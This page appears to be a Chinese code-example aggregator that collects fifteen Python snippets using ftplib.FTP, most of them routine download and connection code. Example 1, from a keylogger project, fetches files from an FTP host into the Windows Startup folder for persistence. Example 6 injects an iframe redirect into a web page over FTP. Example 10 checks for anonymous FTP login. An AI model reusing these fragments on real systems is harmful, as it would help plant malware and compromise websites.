當前位置: 首頁>>代碼示例>>Python>>正文


Python ftplib.FTP屬性代碼示例

本文整理匯總了Python中ftplib.FTP屬性的典型用法代碼示例。如果您正苦於以下問題:Python ftplib.FTP屬性的具體用法?Python ftplib.FTP怎麽用?Python ftplib.FTP使用的例子?那麽, 這裏精選的屬性代碼示例或許可以為您提供幫助。您也可以進一步了解該屬性所在ftplib的用法示例。


在下文中一共展示了ftplib.FTP屬性的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: ftpupdate

# 需要導入模塊: import ftplib [as 別名]
# 或者: from ftplib import FTP [as 別名]
def ftpupdate():
    try:
        chtodir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//'
        try:
            os.chdir(chtodir)
        except Exception as e:
            print e

        ftp = FTP(ip)
        ftp.login(ftpuser, ftpkey)
        ftp.cwd(directory)

        for filename in ftp.nlst(filematch):
            fhandle = open(filename, 'wb')
            ftp.retrbinary('RETR ' + filename, fhandle.write)
            fhandle.close()

        if filematch in os.listdir(chtodir):
            deleteoldstub()
    except Exception as e:
        print e

    return True

#Function to send key strokes via email 
開發者ID:mehulj94,項目名稱:Radium,代碼行數:27,代碼來源:Radiumkeylogger.py

示例2: _get_file_list

# 需要導入模塊: import ftplib [as 別名]
# 或者: from ftplib import FTP [as 別名]
def _get_file_list(self, working_dir, file_regex=re.compile(r'.*'), ftp=None):
        """
        Get file list from ftp server filtered by taxon
        :return: Tuple of (Generator object with Tuple(
            file name, info object), ftp object)
        """

        if ftp is None:
            ftp = ftplib.FTP(BGEE_FTP)
            ftp.login("anonymous", "info@monarchinitiative.org")

        working_dir = "{}{}".format(self.version, working_dir)
        LOG.info('Looking for remote files in %s', working_dir)

        ftp.cwd(working_dir)
        remote_files = ftp.nlst()

        # LOG.info('All remote files \n%s', '\n'.join(remote_files))
        files_to_download = [
            dnload for dnload in remote_files if re.match(file_regex, dnload) and
            re.findall(r'^\d+', dnload)[0] in self.tax_ids]
        # LOG.info('Choosing remote files \n%s', '\n'.join(list(files_to_download)))

        return files_to_download, ftp 
開發者ID:monarch-initiative,項目名稱:dipper,代碼行數:26,代碼來源:Bgee.py

示例3: connect

# 需要導入模塊: import ftplib [as 別名]
# 或者: from ftplib import FTP [as 別名]
def connect(self, params={}):
        self.logger.info("Connect: Connecting..")
        host = params.get('host')
        username = params.get('credentials').get('username', 'anonymous')
        password = params.get('credentials').get('password', 'test@test.com')
        # Use secure mode?
        secure = params.get('secure', False)
        # Use passive mode?
        passive = params.get('passive', False)

        # Either ftplib.FTP or ftplib.FTP_TLS
        base_ftp_class = ftplib.FTP
        if secure:
            base_ftp_class = ftplib.FTP_TLS
        my_session_factory = ftputil.session.session_factory(
            base_class=base_ftp_class,
            use_passive_mode=passive)
        try:
            self.ftp_host = ftputil.FTPHost(host, username,
                                            password, session_factory=my_session_factory)
        except ftputil.error.PermanentError as e:
            raise e 
開發者ID:rapid7,項目名稱:insightconnect-plugins,代碼行數:24,代碼來源:connection.py

示例4: redirect_internal

# 需要導入模塊: import ftplib [as 別名]
# 或者: from ftplib import FTP [as 別名]
def redirect_internal(self, url, fp, errcode, errmsg, headers, data):
        if 'location' in headers:
            newurl = headers['location']
        elif 'uri' in headers:
            newurl = headers['uri']
        else:
            return
        void = fp.read()
        fp.close()
        # In case the server sent a relative URL, join with original:
        newurl = basejoin(self.type + ":" + url, newurl)

        # For security reasons we do not allow redirects to protocols
        # other than HTTP, HTTPS or FTP.
        newurl_lower = newurl.lower()
        if not (newurl_lower.startswith('http://') or
                newurl_lower.startswith('https://') or
                newurl_lower.startswith('ftp://')):
            raise IOError('redirect error', errcode,
                          errmsg + " - Redirection to url '%s' is not allowed" %
                          newurl,
                          headers)

        return self.open(newurl) 
開發者ID:glmcdona,項目名稱:meddle,代碼行數:26,代碼來源:urllib.py

示例5: redirect_internal

# 需要導入模塊: import ftplib [as 別名]
# 或者: from ftplib import FTP [as 別名]
def redirect_internal(self, url, fp, errcode, errmsg, headers, data):
        if 'location' in headers:
            newurl = headers['location']
        elif 'uri' in headers:
            newurl = headers['uri']
        else:
            return
        fp.close()
        # In case the server sent a relative URL, join with original:
        newurl = basejoin(self.type + ":" + url, newurl)

        # For security reasons we do not allow redirects to protocols
        # other than HTTP, HTTPS or FTP.
        newurl_lower = newurl.lower()
        if not (newurl_lower.startswith('http://') or
                newurl_lower.startswith('https://') or
                newurl_lower.startswith('ftp://')):
            raise IOError('redirect error', errcode,
                          errmsg + " - Redirection to url '%s' is not allowed" %
                          newurl,
                          headers)

        return self.open(newurl) 
開發者ID:IronLanguages,項目名稱:ironpython2,代碼行數:25,代碼來源:urllib.py

示例6: main

# 需要導入模塊: import ftplib [as 別名]
# 或者: from ftplib import FTP [as 別名]
def main():
    host = raw_input('Please Input Hostname Or IP: ')
    while not host:
        host = raw_input('Please Input Hostname Or IP: ')

    username = raw_input('Please Input Username: ')
    while not username:
        username = raw_input('Please Input Username: ')

    password = raw_input('Please Input Password: ')
    while not password:
        password = raw_input('Please Input Password: ')

    webpage = raw_input('Please Input WebPage For Injecting: ')
    while not webpage:
        webpage = raw_input('Please Input WebPage For Injecting: ')

    url = raw_input('Please Input The Url Which Will Be Injected: ')
    while not url:
        url = raw_input('Please Input The Url Which Will Be Injected: ')

    ftp = ftplib.FTP(host)
    ftp.login(username, password)
    redirect = '<iframe src = "'+url+'"></iframe>'
    injectPage(ftp, webpage, redirect) 
開發者ID:sunshinelyz,項目名稱:python-hacker,代碼行數:27,代碼來源:ftp_inject.py

示例7: main

# 需要導入模塊: import ftplib [as 別名]
# 或者: from ftplib import FTP [as 別名]
def main():
    host = raw_input('Please Input Hostname Or IP: ')
    while not host:
        host = raw_input('Please Input Hostname Or IP: ')

    username = raw_input('Please Input Username: ')
    while not username:
        username = raw_input('Please Input Username: ')

    password = raw_input('Please Input Password: ')
    while not password:
        password = raw_input('Please Input Password: ')

    ftp = ftplib.FTP(host)
    try:
        ftp.login(username, password)
    except Exception, e:
        print e 
開發者ID:sunshinelyz,項目名稱:python-hacker,代碼行數:20,代碼來源:ftp_web_page.py

示例8: main

# 需要導入模塊: import ftplib [as 別名]
# 或者: from ftplib import FTP [as 別名]
def main():
    try:
        f = ftplib.FTP(HOST)
    except (socket.error, socket.gaierror) as e:
        print('ERROR: 無法連接 "{}"'.format(HOST))
        return
    print('*** 已連接到 "{}"'.format(HOST))

    try:
        f.login()
    except ftplib.error_perm:
        print('ERROR: 無法匿名登錄')
        f.quit()
        return
    print('*** 已匿名身份登錄')

    try:
        f.cwd(DIRN)
    except ftplib.error_perm:
        print('ERROR: 無法跳轉到 "{}" 目錄'.format(DIRN))
        f.quit()
        return
    print('*** 跳轉到 "{}" 目錄'.format(DIRN))

    try:
        f.retrbinary('RETR %s' % FILE, open(FILE, 'wb').write)
    except ftplib.error_perm:
        print('ERROR: 無法讀取文件 "{}"'.format(FILE))
        os.unlink(FILE)
    else:
        print('*** 已下載 "{}" 到當前目錄'.format(FILE))
    f.quit() 
開發者ID:wdxtub,項目名稱:deep-learning-note,代碼行數:34,代碼來源:1_ftp_client.py

示例9: download

# 需要導入模塊: import ftplib [as 別名]
# 或者: from ftplib import FTP [as 別名]
def download(self, db="fungi", release="current"):

        import ftplib
        f = ftplib.FTP('ftp.ensemblgenomes.org')
        f.login("anonymous", "anonymous")
        f.cwd("pub/%s/%s" % (db, release))
        f.cwd("fasta")
        species = f.nlst()

        print(species)

        for this in species:
            print(this)
            if this.endswith('collection'):
                f.cwd(this)
                subdirs = f.nlst()
                for thisdir in subdirs:
                    print(thisdir)
                    f.cwd(thisdir)
                    f.cwd('dna')
                    files = f.nlst()
                    todownload = [x for x in files if x.endswith("dna.genome.fa.gz") ]
                    for filename in todownload:
                        f.retrbinary('RETR %s'%filename ,open(filename, "wb").write)
                    f.cwd("../../")
                f.cwd('..')

            else:
                continue
                f.cwd(this)
                f.cwd('dna')
                files = f.nlst()
                todownload = [x for x in files if x.endswith("dna.genome.fa.gz") ]
                for filename in todownload:
                    f.retrbinary('RETR %s'%filename ,open(filename, "wb").write)
                f.cwd("../../") 
開發者ID:cokelaer,項目名稱:bioservices,代碼行數:38,代碼來源:ensembl.py

示例10: check

# 需要導入模塊: import ftplib [as 別名]
# 或者: from ftplib import FTP [as 別名]
def check(url, ip, ports, apps):
    if verify(vuln, ports, apps):
        try:
            ftp = ftplib.FTP(ip)
            ftp.login('anonymous', 'anonymous')
            return 'FTP anonymous Login'
        except Exception as e:
            pass 
開發者ID:al0ne,項目名稱:Vxscan,代碼行數:10,代碼來源:ftp_anonymous.py

示例11: build_opener

# 需要導入模塊: import ftplib [as 別名]
# 或者: from ftplib import FTP [as 別名]
def build_opener(*handlers):
    """Create an opener object from a list of handlers.

    The opener will use several default handlers, including support
    for HTTP, FTP and when applicable HTTPS.

    If any of the handlers passed as arguments are subclasses of the
    default handlers, the default handlers will not be used.
    """
    def isclass(obj):
        return isinstance(obj, type) or hasattr(obj, "__bases__")

    opener = OpenerDirector()
    default_classes = [ProxyHandler, UnknownHandler, HTTPHandler,
                       HTTPDefaultErrorHandler, HTTPRedirectHandler,
                       FTPHandler, FileHandler, HTTPErrorProcessor]
    if hasattr(http_client, "HTTPSConnection"):
        default_classes.append(HTTPSHandler)
    skip = set()
    for klass in default_classes:
        for check in handlers:
            if isclass(check):
                if issubclass(check, klass):
                    skip.add(klass)
            elif isinstance(check, klass):
                skip.add(klass)
    for klass in skip:
        default_classes.remove(klass)

    for klass in default_classes:
        opener.add_handler(klass())

    for h in handlers:
        if isclass(h):
            h = h()
        opener.add_handler(h)
    return opener 
開發者ID:Soft8Soft,項目名稱:verge3d-blender-addon,代碼行數:39,代碼來源:request.py

示例12: open_file

# 需要導入模塊: import ftplib [as 別名]
# 或者: from ftplib import FTP [as 別名]
def open_file(self, url):
        """Use local file or FTP depending on form of URL."""
        if not isinstance(url, str):
            raise URLError('file error: proxy support for file protocol currently not implemented')
        if url[:2] == '//' and url[2:3] != '/' and url[2:12].lower() != 'localhost/':
            raise ValueError("file:// scheme is supported only on localhost")
        else:
            return self.open_local_file(url) 
開發者ID:Soft8Soft,項目名稱:verge3d-blender-addon,代碼行數:10,代碼來源:request.py

示例13: ftperrors

# 需要導入模塊: import ftplib [as 別名]
# 或者: from ftplib import FTP [as 別名]
def ftperrors():
    """Return the set of errors raised by the FTP class."""
    global _ftperrors
    if _ftperrors is None:
        import ftplib
        _ftperrors = ftplib.all_errors
    return _ftperrors 
開發者ID:Soft8Soft,項目名稱:verge3d-blender-addon,代碼行數:9,代碼來源:request.py

示例14: init

# 需要導入模塊: import ftplib [as 別名]
# 或者: from ftplib import FTP [as 別名]
def init(self):
        import ftplib
        self.busy = 0
        self.ftp = ftplib.FTP()
        self.ftp.connect(self.host, self.port, self.timeout)
        self.ftp.login(self.user, self.passwd)
        _target = '/'.join(self.dirs)
        self.ftp.cwd(_target) 
開發者ID:Soft8Soft,項目名稱:verge3d-blender-addon,代碼行數:10,代碼來源:request.py

示例15: _ftp_connect

# 需要導入模塊: import ftplib [as 別名]
# 或者: from ftplib import FTP [as 別名]
def _ftp_connect(self):
        try:
            self.conn.voidcmd("NOOP")
            return True
        except:
            if self.tls:
                self.conn = ftplib.FTP_TLS()
            else:
                self.conn = ftplib.FTP()
            self.conn.connect(self.host, self.port, timeout=self.timeout)
            self.conn.login(self.username, self.password)
            if self.tls:
                self.conn.prot_p() 
開發者ID:d6t,項目名稱:d6tpipe,代碼行數:15,代碼來源:ftp.py


注:本文中的ftplib.FTP屬性示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。